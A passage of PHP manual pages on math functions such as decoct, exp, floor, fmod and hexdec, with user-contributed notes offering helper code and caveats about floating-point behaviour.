        $rgb[$i] = $start[$i] - ($buffer[$i] * $t);

        if ($rgb[$i] > 255) {

            $rgb[$i] = 255;

        }

        $rgb[$i] = dechex($rgb[$i]);
        $rgb[$i] = strtoupper($rgb[$i]);

        if (strlen($rgb[$i]) < 2) {

            $rgb[$i] = "0$rgb[$i]";

        }

        $i++;

    }

    $color = "$rgb[0]$rgb[1]$rgb[2]";
    echo "$color";
        $t++;

}

?>


Decimal to octal

  • « dechex
  • deg2rad »
  • PHP Manual
  • Math Functions
  • Decimal to octal

decoct

(PHP 4, PHP 5)

decoct — Decimal to octal

Description

string decoct ( int $number )

Returns a string containing an octal representation of the given number argument. The largest number that can be converted is 4294967295 in decimal resulting to "37777777777".

Parameters

number

Decimal value to convert

Return Values

Octal string representation of number

Examples

Example #1 decoct() example

<?php
echo decoct(15) . "\n";
echo decoct(264);
?>

The above example will output:

17
410

See Also

  • octdec() - Octal to decimal
  • decbin() - Decimal to binary
  • dechex() - Decimal to hexadecimal
  • base_convert() - Convert a number between arbitrary bases

User Contributed Notes

There are no user contributed notes for this page.


Converts the number in degrees to the radian equivalent

  • « decoct
  • exp »
  • PHP Manual
  • Math Functions
  • Converts the number in degrees to the radian equivalent

deg2rad

(PHP 4, PHP 5)

deg2rad — Converts the number in degrees to the radian equivalent

Description

float deg2rad ( float $number )

This function converts number from degrees to the radian equivalent.

Parameters

number

Angular value in degrees

Return Values

The radian equivalent of number

Examples

Example #1 deg2rad() example

<?php

echo deg2rad(45); // 0.785398163397
var_dump(deg2rad(45) === M_PI_4); // bool(true)

?>

See Also

  • rad2deg() - Converts the radian number to the equivalent number in degrees

User Contributed Notes

christian dot ubu at NOSPAMHERE dot gmail dot com 13-Mar-2009 04:18
Never use deg2rad() in loops, use $rad = ($deg * M_PI / 180) instead which is faster!


Calculates the exponent of e

  • « deg2rad
  • expm1 »
  • PHP Manual
  • Math Functions
  • Calculates the exponent of e

exp

(PHP 4, PHP 5)

exp — Calculates the exponent of e

Description

float exp ( float $arg )

Returns e raised to the power of arg.

Note:

'e' is the base of the natural system of logarithms, or approximately 2.718282.

Parameters

arg

The argument to process

Return Values

'e' raised to the power of arg

Examples

Example #1 exp() example

<?php
echo exp(12) . "\n";
echo exp(5.7);
?>

The above example will output:

1.6275E+005
298.87

See Also

  • log() - Natural logarithm
  • pow() - Exponential expression

User Contributed Notes

Mohammed AbdelRahman 31-Aug-2014 01:18
Which is the inverse of log(float $arg, e)
zooly at globmi dot com 14-Dec-2010 04:12
PHP does not have the following math function in any extensions:

frexp() - Extract Mantissa and Exponent of the Floating-Point Value

I've digged many C source codes, and found the simplest implementation as follows:

<?php

function frexp ( $float ) {

  $exponent = ( floor(log($float, 2)) + 1 );
  $mantissa = ( $float * pow(2, -$exponent) );

  return(
    array($mantissa, $exponent)
  );

}

print_r(frexp(0.0345));
print_r(frexp(21.539));

?>

Array
(
    [0] => 0.552
    [1] => -4
)
Array
(
    [0] => 0.67309375
    [1] => 5
)

I have compared the results using a lot of floats against C's frexp function - they are the same.

Note that C and PHP uses different float precisions, for example "4619.3" gives:

C: 0.56387939453125, 13
PHP: 0.563879394531, 13

/Assuming default configurations./
Nitrogen 24-Sep-2009 02:54
Just a note about using the submitted codes below..
Their functions have an optional $precision parameter; however, it's not being used properly..

BCMath functions by default do not use decimal precision unless specified by BCScale($precision); or using the extra parameter in the used BC functions.

For example, a blank PHP file with their code.. executing BCExp('5.7'); returns "47" instead of the correct answer of "298.86740096706..."

So for optimum accuracy, I'd suggest setting BCScale to a healthy length before running their codes.
konrad 25-Jan-2007 12:13
working version (checked) of below code is

<?php
  // see bccomp for this code (signed and unsigned zero!)
  function bccomp_zero($amount) {
    return bccomp($amount, (@$amount{0}=="-"?'-':'').'0.0');
  }

  // arbitrary precision function (x^n)/(n)!
  function bcpowfact($x, $n) {
    if (bccomp_zero($n) == 0) return '1';
    if (bccomp($n, '1') == 0) return $x;
    $a = $x; // 1st step: a *= x / 1
    $i = $n;
    while (bccomp($i, '1') == 1) {
      // ith step: a *= x / i
      $a = bcmul($a, bcdiv($x, $i));
      $i = bcsub($i, '1'); // bc idiom for $i--
    }
    return $a;
  }

  // arbitrary precision exp() function
  function bcexp($x, $digits) {
    $sum = $prev_sum = '0.0';
    $error = '0.'.str_repeat('0', $digits-1).'1'; // 0.1*10^-k
    $n = '0.0';
    do {
      $prev_sum = $sum;
      $sum = bcadd($sum, bcpowfact($x, $n));
      $n = bcadd($n, '1'); // bc idiom for $n++
    } while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
    return $sum;
  }
?>
boards at gmail dot com 26-Apr-2006 07:18
Note regarding the mathematical function exp(x):

To continue accuracy of the exponential function to an infinite amount of decimal places, one would use the power series definition for exp(x).
(in LaTeX form:)
e^x = \sum_{n=0}^{\infty} \frac{x^n}{n!}

So, to do that in PHP (using BC math):

<?php
// arbitrary precision function (x^n)/(n)!
function bcpowfact($x, $n) {
  if (bccomp($n, '0') == 0) return '1.0';
  if (bccomp($n, '1') == 1) return $x;
  $a = $x; // nth step: a *= x / 1
  $i = $n;
  while (bccomp($i, '1') == 1) {
    // ith step: a *= x / i
    $a = bcmul($a, bcdiv($x, $i));
    $i = bcsub($i, '1'); // bc idiom for $i--
  }
  return $a;
}

// arbitrary precision exp() function
function bcexp($x, $decimal_places) {
  $sum = $prev_sum = '0.0';
  $error = bcdiv(bcpow('10', '-'.$decimal_places), 10); // 0.1*10^-k
  $n = '0';
  do {
    $prev_sum = $sum;
    $sum = bcadd($sum, bcpowfact($x, $n));
  }
  while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
  return $sum;
}
?>


Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero

  • « exp
  • floor »
  • PHP Manual
  • Math Functions
  • Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero

expm1

(PHP 4 >= 4.1.0, PHP 5)

expm1 — Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero

Description

float expm1 ( float $arg )

expm1() returns the equivalent to 'exp(arg) - 1' computed in a way that is accurate even if the value of arg is near zero, a case where 'exp (arg) - 1' would be inaccurate due to subtraction of two numbers that are nearly equal.

Parameters

arg

The argument to process

Return Values

'e' to the power of arg minus one

Changelog

Version | Description
5.3.0 | This function is now available on all platforms

See Also

  • log1p() - Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero
  • exp() - Calculates the exponent of e

User Contributed Notes

brettz9 AAT yah 03-Apr-2009 05:07
Note that exp(x)-1 can be approximated by x + x^2/2! + ... + x^n/n!  and for any value
hagen at von-eitzen dot de 24-Feb-2003 12:57
Compare this to log1p (which is its inverse).

Also, You may have to use a similar workaraound in case the underlying C library
does not support expm1:

<?php
function expm1($x) {
     return ($x>-1.0e-6 && $x<1.0e-6) ? ($x + $x*$x/2) : (exp($x)-1);
}
?>


Round fractions down

  • « expm1
  • fmod »
  • PHP Manual
  • Math Functions
  • Round fractions down

floor

(PHP 4, PHP 5)

floor — Round fractions down

Description

float floor ( float $value )

Returns the next lowest integer value by rounding down value if necessary.

Parameters

value

The numeric value to round

Return Values

value rounded to the next lowest integer. The return value of floor() is still of type float because the value range of float is usually bigger than that of integer.

Examples

Example #1 floor() example

<?php
echo floor(4.3);   // 4
echo floor(9.999); // 9
echo floor(-3.14); // -4
?>

See Also

  • ceil() - Round fractions up
  • round() - Rounds a float

User Contributed Notes

josoort at home dot nl 12-May-2014 04:08
You can simply make a floor with decimals function by using the round() function and subtract 0.05 to the value if the value must have 1 decimal accuracy, or 0.005 for 2 decimals accuracy, or 0.0005 for 3 decimals etc.

Example :

function floorDec($input, $decimals)
{
    return round($input - (5 / pow(10, $decimals + 1)), $decimals);
}
till at tonda dot de 24-Jan-2014 09:55
Note that the use of floor may (intended or not) uncover false integers:

<?php

$arrRoots=array();
$arrRoots[]=pow(27,(1/3));        // pow(3,3)=27
$arrRoots[]=pow(64,(1/3));        // pow(4,3)=64

for($i=0;$i<count($arrRoots);$i++)
{
if($arrRoots[$i]!=floor($arrRoots[$i]))
  echo '<div style="background-color:#ffff99">';
echo 'Unfloored value: '.$arrRoots[$i].' (Format float? '.is_float($arrRoots[$i]).')<br />';
echo 'Floored value: '.floor($arrRoots[$i]).' (Format float? '.is_float(floor($arrRoots[$i])).')';
if($arrRoots[$i]!=floor($arrRoots[$i]))
  echo '</div>';
echo '<br /><br />';
}

?>

The directly retrieved cubic root of 64 (by pow with a fraction exp) equals 4; an outcome any maths teacher will reckon correct.

Yet bringing the same number - the cubic root of 64 retrieved in the very same manner - to the floor will result in a value of 3 only. This behaviour is in no way exceptional.

It is pivotal to check whether you are dealing with genuine integers or floats in disguise. floor should be used carefully.
maikl 23-Jan-2014 05:45
A correction to the funcion floor_dec from the user "php is the best".
If the number is 0.05999 it returns 0.59 because the zero at left position is deleted.
I just added a '1' and after the floor or ceil call remove with a substr.
Hope it helps.

function floor_dec($number,$precision = 2,$separator = '.') {
  $numberpart=explode($separator,$number);
  $numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
  if($numberpart[0]>=0) {
    $numberpart[1]=substr(floor('1'.$numberpart[1]),1);
  } else {
    $numberpart[1]=substr(ceil('1'.$numberpart[1]),1);
  }
  $ceil_number= array($numberpart[0],$numberpart[1]);
  return implode($separator,$ceil_number);
}
php is the best 20-Apr-2012 03:36
Floor decimal numebrs with precision:

function floor_dec($number,$precision,$separator)
{
    $numberpart=explode($separator,$number);
    $numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
    if($numberpart[0]>=0)
    {$numberpart[1]=floor($numberpart[1]);}
    else
    {$numberpart[1]=ceil($numberpart[1]);}

     $ceil_number= array($numberpart[0],$numberpart[1]);
    return implode($separator,$ceil_number);
}

echo floor_dec(1.125,2,"."); //1.12
echo floor_dec(-1.3436,3,"."); //-1.344
echo floor_dec(102938.1,4,"."); //102938.1
seppili_ at gmx dot de 05-Mar-2010 05:52
I use this function to floor with decimals:
<?php

function floordec($zahl,$decimals=2){
     return floor($zahl*pow(10,$decimals))/pow(10,$decimals);
}
?>
lewis at lewishenshall dot co dot uk 26-Feb-2009 08:12
If you're wanting to round down to the nearest hundred:

<?php
function rounddowntohundred($theNumber) {
    if (strlen($theNumber)<3) {
    $theNumber=$theNumber;
    } else {
    $theNumber=substr($theNumber, 0, strlen($theNumber)-2) . "00";

    }
    return $theNumber;

}
?>
fragov at gmail dot com 15-Jan-2009 06:39
Have solved a "price problem":

<?php
$peny = floor($row->price*1000) - floor($row->price)*1000)/10;
?>
benrr101 at gmail dot com 11-Jun-2008 06:39
But, if you want the number closest to zero, you could use this:
<?php
  if($foo > 0) {
    floor($foo);
  } else {
    ceil($foo);
  }
?>

-benrr101
greene dot mc at removethispart dot gmail dot com 27-May-2008 10:08
I believe this behavior of the floor function was intended.  Note that it says "the next lowest integer".  -1 is "higher" than -1.6.  As in, -1 is logically greater than -1.6.  To go lower the floor function would go to -2 which is logically less than -1.6.

Floor isn't trying to give you the number closest to zero, it's giving you the lowest bounding integer of a float.

In reply to Glen who commented:
 Glen
01-Dec-2007 04:22
<?php
  echo floor(1.6);  // will output "1"
  echo floor(-1.6); // will output "-2"
?>

instead use intval (seems to work v5.1.6):

<?php
  echo intval(1.6);  // will output "1"
  echo intval(-1.6); // will output "-1"
?>
jay at w3prodigy dot com 25-Mar-2008 09:01
Note:

<?php
$int = 0.99999999999999999;
echo floor($int); // returns 1
?>

and

<?php
$int = 0.9999999999999999;
echo floor($int); // returns 0
?>
Glen 01-Dec-2007 10:22
<?php
  echo floor(1.6);  // will output "1"
  echo floor(-1.6); // will output "-2"
?>

instead use intval (seems to work v5.1.6):

<?php
  echo intval(1.6);  // will output "1"
  echo intval(-1.6); // will output "-1"
?>
jolyon at mways dot co dot uk 10-Aug-2004 06:41
Beware of FLOAT weirdness!

Floats have a mind of their own, and what may look like an integer stored in a float isn't.

Here's a baffling example of how floor can be tripped up by this:

<?php
$price = 79.99;

print $price."\r\n";     // correct result, 79.99 shown

$price = $price * 100;

print $price."\r\n";    // correct result, 7999 shown

print floor($price);    // 7998 shown! what's going on?
?>

The thing to remember here is that the way a float stores a value makes it very easy for these kind of things to happen. When the 79.99 was multiplied by 100, the actual value stored in the float was probably something like 7998.9999999999999999999999999999999999, PHP would print out 7999 when the value is displayed but floor would therefore round this down to 7998.

THe moral of this story - never use float for anything that needs to be accurate! If you're doing prices for products or a shopping cart, then always use an integer and store prices as a number of pence, you'll thank me for this later :)
illyena at musefish dot net 13-May-2004 12:53
For calculating the number of days, hours, minutes and seconds to an event.

<?php
$then = date(mktime(8,0,0,6,25,2004)); //remember that mktime is hour,min,sec,month,day,year
$now = date("U"); // "U" is the number of seconds since the epoch, equivilant to using "YmdHis"

$time = $then - $now; //gets the number of seconds between now and the event
$days = floor($time/86400); //rounds down to the whole number, in this case # of days
echo $days." Days";
$time = $time - ($days*86400); //leaves you with the amount of time ramaining after subtracting the days
$hours = floor($time/3600); //rounds down to the whole number, in this case # of hours
echo $hours." Hours";
$time = $time - ($hours*3600); //leaves you with the amount of time ramaining after subtracting the hours
$min = floor($time/60); //rounds down to the whole number, in this case # of minutes
echo $min." Minutes";
$sec = $time - ($min*60); //leaves you with the amount of time ramaining after subtracting the minutes which is equivilant to the remainins seconds
echo $sec." Seconds";
?>
PHP Helper 20-Dec-2003 11:39
floor basically truncates, or chops off everything to the right of a decimal. For instance, if you have a length of 5.1234, but just wanted the whole number, you could use the following code:

<?php
$length = 5.1234; //this is our original length
$length = floor($length); //length is truncated, original variable name is kept
print "$length"; //this prints our result
?>

This code would print the following: 5

Now, although there is a specific function in PHP for rounding, rounding can also be performed with the floor function. Let's say we wanted to round the length to the hundredths place.

<?php
$length = 5.1234;
$length = floor(($length) * 100 + .5) * .01;
print "$length";
?>

The result is: 5.12

This works because, first, the length is multiplied by 100, which moves the decimal point to the right two places, giving us the value of 512.34. Next .5 is added to the length, which gives us a value of 512.84. Then the floor function truncates the value, leaving us with 512. Lastly, to compensate for multiplying by 100 earlier, now we must divide by 100, or in this case, multiply by .01. This moves the decimal point back 2 places to it's original place and gives us the rounded value of 5.12.

We can also round to other values, such as the thousandths, by adjusting the code as follows:

<?php
$length = 5.1234;
$length = floor(($length) * 1000 + .5) * .001;
print "$length";
?>

Result: 5.123
10-Sep-2002 12:08
mathematical functions lack a floating point version of the modulo operation, which returns the difference between the floor() of the argument and the argument itself:

<?php
function fmod($value) {
  return $value - floor($value);
}
?>

Very useful with trigonometric functions to reduce the angle argument to a circle that includes angle 0.

Useful also to reduce an arbitrarily large floating point value into an entropy source, by first transforming this value into a pair using logarithm functions with distinct bases (add 1 if the function can return 0, to avoid floating point errors with logarithms!):

<?php
$f = 1 + @disk_free_space("/tmp");
$r = (int)(fmod(Log($f)) * 0x7FFFFFFF)
^ (int)(fmod(Log10($f)) * 0x7FFFFFFF)
?>

Then $r can be used as a good entropy source, if the free space in your temporary folder used by PHP is constantly evolving within a large range of values.

You can combine this value by xoring it with other values such as time(), (int)microtime(), ip2long($_SERVER['REMOTE_ADDR'], $_SERVER['REMOTE_PORT'], getmypid(), ...


Returns the floating point remainder (modulo) of the division of the arguments

  • « floor
  • getrandmax »
  • PHP Manual
  • Math Functions
  • Returns the floating point remainder (modulo) of the division of the arguments

fmod

(PHP 4 >= 4.2.0, PHP 5)

fmod — Returns the floating point remainder (modulo) of the division of the arguments

Description

float fmod ( float $x , float $y )

Returns the floating point remainder of dividing the dividend (x) by the divisor (y). The remainder (r) is defined as: x = i * y + r, for some integer i. If y is non-zero, r has the same sign as x and a magnitude less than the magnitude of y.

Parameters

x

The dividend

y

The divisor

Return Values

The floating point remainder of x/y

Examples

Example #1 Using fmod()

<?php
$x = 5.7;
$y = 1.3;
$r = fmod($x, $y);
// $r equals 0.5, because 4 * 1.3 + 0.5 = 5.7
?>

User Contributed Notes

timo underscore teichert at yahoo dot de 27-Oct-2014 10:40
The behaviour of this function seems to have changed over time.

<?php

echo fmod(3,5);
// php 5.3.2 outputs -2
// php 5.3.8 outputs 3

echo fmod(2,5);
// php 5.3.2 outputs 2
// php 5.3.8 outputs 2

?>

- Timo
KRAER 28-Jan-2014 08:23
To create a list of primes in a bash based on php wich can be resumed after breaking I did use fmod() and some snippets offered by two more users here on php comments.

This will output :
"prime;difference-between-last-and-current-prime"

So credit goes to them. I only did the logfile output.

This will function up to whatever fmod supports as highest value. Just enter the $end value. And do a touch to the logfile followed by chmod 666 so php can access it.

<?php
function tailCustom($filepath, $lines = 1, $adaptive = true) {

        // Open file
        $f = @fopen($filepath, "rb");
        if ($f === false) return false;

        // Sets buffer size
        if (!$adaptive) $buffer = 4096;
        else $buffer = ($lines < 2 ? 64 : ($lines < 10 ? 512 : 4096));

        // Jump to last character
        fseek($f, -1, SEEK_END);

        // Read it and adjust line number if necessary
        // (Otherwise the result would be wrong if file doesn't end with a blank line)
        if (fread($f, 1) != "\n") $lines -= 1;

        // Start reading
        $output = '';
        $chunk = '';

        // While we would like more
        while (ftell($f) > 0 && $lines >= 0) {

            // Figure out how far back we should jump
            $seek = min(ftell($f), $buffer);

            // Do the jump (backwards, relative to where we are)
            fseek($f, -$seek, SEEK_CUR);

            // Read a chunk and prepend it to our output
            $output = ($chunk = fread($f, $seek)) . $output;

            // Jump back to where we started reading
            fseek($f, -mb_strlen($chunk, '8bit'), SEEK_CUR);

            // Decrease our line counter
            $lines -= substr_count($chunk, "\n");

        }

        // While we have too many lines
        // (Because of buffer size we might have read too many)
        while ($lines++ < 0) {

            // Find first newline and remove all text before that
            $output = substr($output, strpos($output, "\n") + 1);

        }

        // Close file and return
        fclose($f);
        return trim($output);

    }

function isPrime( $num )
{
    for( $i = 2; $i*$i <= $num; $i++ )
        if( !fmod($num,$i) )
            return FALSE;

    return TRUE;
}

$logfile = 'prim_save.log';

$lastline = explode(";", tailCustom($logfile));
$begin = ($lastline[0] +1);
$lastprime = $lastline[0];

$end = 999999999999999999999999999999999999;

$fp = fopen($logfile, 'a');
//Lineformat    $i.';'.$difference.';'."\n"

for($i = $begin; $i<$end; $i++)
{
    if(isPrime($i) == TRUE)
    {
        $difference = $i - $lastprime;
        fputs($fp,$i.';'.$difference.';'."\n");
        $lastprime = $i;
    }
}

fclose($fp);
?>
Adrien Gibrat 06-Jul-2013 07:33
There is an elegant way to do compute gcm :
https://en.wikipedia.org/wiki/Greatest_common_divisor

    // Recursive function to compute gcd (euclidian method)
    function gcd ($a, $b) {
        return $b ? gcd($b, $a % $b) : $a;
    }
    // Then reduce any list of integer
    echo array_reduce(array(42, 56, 28), 'gcd'); // === 14

If you want to work with floating points, use approximation :

    function fgcd ($a, $b) {
        return $b > .01 ? fgcd($b, fmod($a, $b)) : $a; // using fmod
    }
    echo array_reduce(array(2.468, 3.7, 6.1699), 'fgcd'); // ~= 1.232

You can use a closure in PHP 5.3 :

    $gcd = function ($a, $b) use (&$gcd) { return $b ? $gcd($b, $a % $b) : $a; };
verdy_p 12-Dec-2012 11:38
Note that fmod is NOT equivalent to this basic function:

<?php
 function modulo($a, $b) {
    return $a - $b * floor($a / $b);
 }
?>

because fmod() will return a value with the same sign as $a. In other words the floor() function is not correct as it rounds towards -INF instead of towards zero.

To emulate fmod($a, $b) the correct way is:

<?php
 function fmod($a, $b) {
   return $a - $b * (($b < 0) ? ceil($a / $b) : floor($a / $b)));
 }
?>

Note that both functions will throw a DIVISION BY ZERO if $b is null.

The first function modulo() above is the mathematical function which is useful for working on cyclic structures (such as calender computions or trignonometric functions :

- fmod($a, 2*PI) returns a value in [0..2*PI) if $a is positive
- fmod($a, 2*PI) returns a value in [-2*PI..0] if $a is negative
- modulo($a, 2*PI) returns a value always in [0..2*PI) independantly of the sign of $a
dePijd 10-Feb-2010 03:37
This class ran through several unit tests and fixes all failures found in bugs.php.net

<?php
abstract class MyNumber {
    public static function isZero($number, $precision = 0.0000000001)
    {
        $precision = abs($precision);
        return -$precision < (float)$number && (float)$number < $precision;
    }
    public static function isEqual($number1, $number2)
    {
        return self::isZero($number1 - $number2);
    }
    public static function fmod($number1, $number2)
    {
        $rest = fmod($number1, $number2);
        if (self::isEqual($rest, $number2)) {
            return 0.0;
        }
        if (mb_strpos($number1, ".") === false) {
            $decimals1 = 0;
        } else {
            $decimals1 = mb_strlen($number1) - mb_strpos($number1, ".") - 1;
        }
        if (mb_strpos($number2, ".") === false) {
            $decimals2 = 0;
        } else {
            $decimals2 = mb_strlen($number2) - mb_strpos($number2, ".") - 1;
        }
        return (float)round($rest, max($decimals1, $decimals2));
    }
}
?>
linkboss at gmail dot com 18-Oct-2009 02:49
You can also use the modulo operator '%', which returns the same result :

<?php
$var1 = 5;
$var2 = 2;

echo $var1 % $var2; //Returns 1
echo fmod($var1,$var2); //Returns the same
?>
matrebatre 20-May-2008 09:09
I always use this:

function modulo($n,$b) {
return $n-$b*floor($n/$b);
}

And it appears to work correctly.
ysangkok at gmail dot com 01-Jul-2007 06:37
Please note that this:
<?php
function custom_modulo($var1, $var2) {
  $tmp = $var1/$var2;

  return (float) ( $var1 - ( ( (int) ($tmp) ) * $var2 ) );
}

$par1 = 1;
$par2 = 0.2;

echo "fmod:          ";
var_dump(fmod ( $par1 , $par2 ));
echo "custom_modulo: ";
var_dump(custom_modulo ( $par1 , $par2 ));
?>

gives this:

fmod:          float(0.2)
custom_modulo: float(0)

Fmod does not deliver the desired result, therefore I made my own.
cory at lavacube dot net 09-Dec-2005 07:13
I don't believe that is correct.

Try this out using your patch:
<?php

echo duration( mktime(0, 0, 0, 1, 0, 2006)-time() );

?>

As of right now, this will read:
1 month, 22 days, 24 hours, 49 minutes, 15 seconds

Which is completely incorrect. Seeing as how it is the 9th of December.

The real real flaw here is how the 'year' and 'month' periods are calculated. As most months vary in length...

Thank you very much SnakeEater251 for pointing this out.

The quickest way to get slightly more accurate results, is to use averages based on one "true" year, which is 365.25 days.

Change the year and month to:
      'year'       => 31557600, // one 'true year' (365.25 days)
      'month'    => 2629800, // one 'true year' divided by 12 :-)

I will work on developing a true fix, for pin-point accuracy. ;-)

 - Cory Christison
SnakeEater251 27-Nov-2005 07:16
Note on the code given by cory at lavacube dot net.
You will recieve better results by not using floor and using round instead. As you continue increasing to larger amounts of time you will notice that the outputted time is off by large amounts.

so instead of $temp = floor( $int_seconds / $length );
we would use  $temp = round( $int_seconds / $length );

<?php

function duration( $int_seconds=0, $if_reached=null )
{
   $key_suffix = 's';
   $periods = array(
                   'year'        => 31556926,
                   'month'        => 2629743,
                   'day'        => 86400,
                   'hour'        => 3600,
                   'minute'    => 60,
                   'second'    => 1
                   );

   // used to hide 0's in higher periods
   $flag_hide_zero = true;

   // do the loop thang
   foreach( $periods as $key => $length )
   {
       // calculate
       $temp = round( $int_seconds / $length );

       // determine if temp qualifies to be passed to output
       if( !$flag_hide_zero || $temp > 0 )
       {
           // store in an array
           $build[] = $temp.' '.$key.($temp!=1?'s':null);

           // set flag to false, to allow 0's in lower periods
           $flag_hide_zero = false;
       }

       // get the remainder of seconds
       $int_seconds = fmod($int_seconds, $length);
   }

   // return output, if !empty, implode into string, else output $if_reached
   return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>
cory at lavacube dot net 26-Nov-2005 09:38
A more formal way for generating duration strings:

<?php

function duration( $int_seconds=0, $if_reached=null )
{
    $key_suffix = 's';
    $periods = array(
                    'year'        => 31556926,
                    'month'        => 2629743,
                    'day'        => 86400,
                    'hour'        => 3600,
                    'minute'    => 60,
                    'second'    => 1
                    );

    // used to hide 0's in higher periods
    $flag_hide_zero = true;

    // do the loop thang
    foreach( $periods as $key => $length )
    {
        // calculate
        $temp = floor( $int_seconds / $length );

        // determine if temp qualifies to be passed to output
        if( !$flag_hide_zero || $temp > 0 )
        {
            // store in an array
            $build[] = $temp.' '.$key.($temp!=1?'s':null);

            // set flag to false, to allow 0's in lower periods
            $flag_hide_zero = false;
        }

        // get the remainder of seconds
        $int_seconds = fmod($int_seconds, $length);
    }

    // return output, if !empty, implode into string, else output $if_reached
    return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>

Simple use:
<?php

    echo duration( mktime(0, 0, 0, 1, 1, date('Y')+1) - time(), 'Some fancy message to output if duration is already met...' );

?>

Enjoy. :-)
cory at simplesystems dot ca 23-Nov-2005 02:39
Just a note on the previous note by Ryan Means:

Instead of using explode() to get the number before the decimal point, would be to use floor()... floor() rounds fractions down, which is exactly what is needed.

His same example using floor();

<?PHP
$totalsec=XXXXXXX; //Replace the X's with a int value of seconds

$daysarray = floor( $totalsec/86400 );

$partdays = fmod($totalsec, 86400);
$hours = floor( $partdays/3600 );

$parthours = fmod($partdays, 3600);
$min = floor( $parthours/60 );

$sec = fmod($parthours, 60);

echo "days " . $days . "<br>";
echo "hours " . $hours . "<br>";
echo "minutes " . $min . "<br>";
echo "seconds " . $sec . "<br>";
?>
Ryan Means 11-May-2005 03:15
If your given a number of seconds and you want to turn it into Days, hours, minutes, and seconds:
(this is very useful when using the Unix Time Epoch to find the difference from one time to the other)

For Example:
I posted in a bb at one date.. when I post a Unix Time Epoch was marked..
Then When I go back and view it again 2 weeks later I generate the Unix Time Epoch for the current time.
Then take the current time - the posting time, this gives the number of seconds since the post.
Then use the below equations to get days, hours, minutes, and seconds since the post was made:

<?PHP
$totalsec=XXXXXXX; //Replace the X's with a int value of seconds

$daysarray = explode(".", ($totalsec/86400));
$days = $daysarray[0];

$partdays = fmod($totalsec, 86400);
$hoursarray = explode(".", ($partdays/3600));
$hours = $hoursarray[0];

$parthours = fmod($partdays, 3600);
$minarray = explode(".", ($parthours/60));
$min = $minarray[0];

$sec = fmod($parthours, 60);

echo "days " . $days . "<br>";
echo "hours " . $hours . "<br>";
echo "minutes " . $min . "<br>";
echo "seconds " . $sec . "<br>";
?>
sam dot fullman at verizon 24-Feb-2005 04:29
This function behaves wierd in negative regions.  If you have something like an angle that goes through 360 degress of rotation and your angle goes negative, then fmod of -1 should be 359, right?

Here's a way to get that result, so that you get a phase shift vs. just a "negative fmod":

$h= -30; //same as 330 degrees

//handle negative
if($h<0){
    while(true){
        $fail++; if($fail>100)break; //in case loop gets tied up
        $h+=360;
        if($h>=0)break;
    }
}
$h=fmod($h,360);

echo $h;  //will say 330 degrees - we phase shifted up until positive.
rocan 20-Feb-2005 03:10
john at digitizelife dot com:

Well not sure how your comment applys to fmod..

but their is a sure simpler way of coping with situations like this..

its called a bit field (bit masking)

e.g.

/* Categories */
bin     dec   cat
0001 - 1 - Blue
0010 - 2 - Red
0100 - 4 - Green
1000 - 8 - Yellow

/* Permissions */
0010 - 2   - Bob
0101 - 5    - John
1011 - 11  - Steve
1111-  15 - Mary

to find out the permissions for each user you simple need to do a bitwise AND

$steve_auth=11;

function get_perm($auth)
{
    $cats["Blue"]=1;
    $cats["Red"]=2;
    $cats["Green"]=4;
    $cats["Yellow"]=8;
    $perms=array();
    foreach($cats as $perm=>$catNum)
    {
          if($auth & $catNum)
                $perms[$perm]=true;

    }

    return $perms;
}

print_r(get_perm($steve_auth));
/*
returns
Array
(
    [Blue] => 1
    [Red] => 1
    [Yellow] => 1
)
*/

This is far simpler than your prime number idea, in fact you dont even need a function in any tests for the permmsions on a user you can do them directly using the bitwise and operator.

You may want to read the following

http://en.wikipedia.org/wiki/Bitmask
http://uk2.php.net/manual/en/language.operators.bitwise.php
jphansen at uga dot edu 10-Jan-2005 08:44
fmod() does not mirror a calculator's mod function. For example, fmod(.25, .05) will return .05 instead of 0 due to floor(). Using the aforementioned example, you may get 0 by replacing floor() with round() in a custom fmod().

<?
function fmod_round($x, $y) {
    $i = round($x / $y);
    return $x - $i * $y;
}

var_dump(fmod(.25, .05)); // float(0.05)
var_dump(fmod_round(.25, .05)); // float(0)
?>
konstantin at rekk dot de 27-May-2004 05:10
If you need to reduce an integer to zero if zero and 1 if not, you can use

$sign = (integer)(boolean)$integer;

instead of

$sign = $integer > 0 ? 1 : 0;

it is faster from 100 operations on (at least on my machine).
alex at xelam dot net 16-Feb-2004 10:19
Integer Modulo

If you want the remainder of the division of two Integers rather than Floats, use "%"; eg:

<?php
$a = 4;
$b = 3;

print($a % $b);
?>

Will output "1".
picaune at hotmail dot com 10-Mar-2003 12:57
NAN (.net Equivalent = Double.NaN) means "Not-a-Number".
Some ways to get NaN are modulo 0, and square root of 0.


Show largest possible random value

  • « fmod
  • hexdec »
  • PHP Manual
  • Math Functions
  • Show largest possible random value

getrandmax

(PHP 4, PHP 5)

getrandmax — Show largest possible random value

Description

int getrandmax ( void )

Returns the maximum value that can be returned by a call to rand().

Return Values

The largest possible random value returned by rand()

See Also

  • rand() - Generate a random integer
  • srand() - Seed the random number generator
  • mt_getrandmax() - Show largest possible random value

User Contributed Notes

There are no user contributed notes for this page.


Hexadecimal to decimal

  • « getrandmax
  • hypot »
  • PHP Manual
  • Math Functions
  • Hexadecimal to decimal

hexdec

(PHP 4, PHP 5)

hexdec — Hexadecimal to decimal

Description

number hexdec ( string $hex_string )

Returns the decimal equivalent of the hexadecimal number represented by the hex_string argument. hexdec() converts a hexadecimal string to a decimal number.

hexdec() will ignore any non-hexadecimal characters it encounters.

Parameters

hex_string

The hexadecimal string to convert

Return Values

The decimal representation of hex_string

Examples

Example #1 hexdec() example

<?php
var_dump(hexdec("See"));
var_dump(hexdec("ee"));
// both print "int(238)"

var_dump(hexdec("that")); // print "int(10)"
var_dump(hexdec("a0")); // print "int(160)"
?>

Notes

Note:

The function can convert numbers that are too large to fit into the platforms integer type, larger values are returned as float in that case.

See Also

  • dechex() - Decimal to hexadecimal
  • bindec() - Binary to decimal
  • octdec() - Octal to decimal
  • base_convert() - Convert a number between arbitrary bases

User Contributed Notes

Ulf 20-Aug-2013 07:51
Instead of chuckySTAR's cool bchexdec() function you could also just use
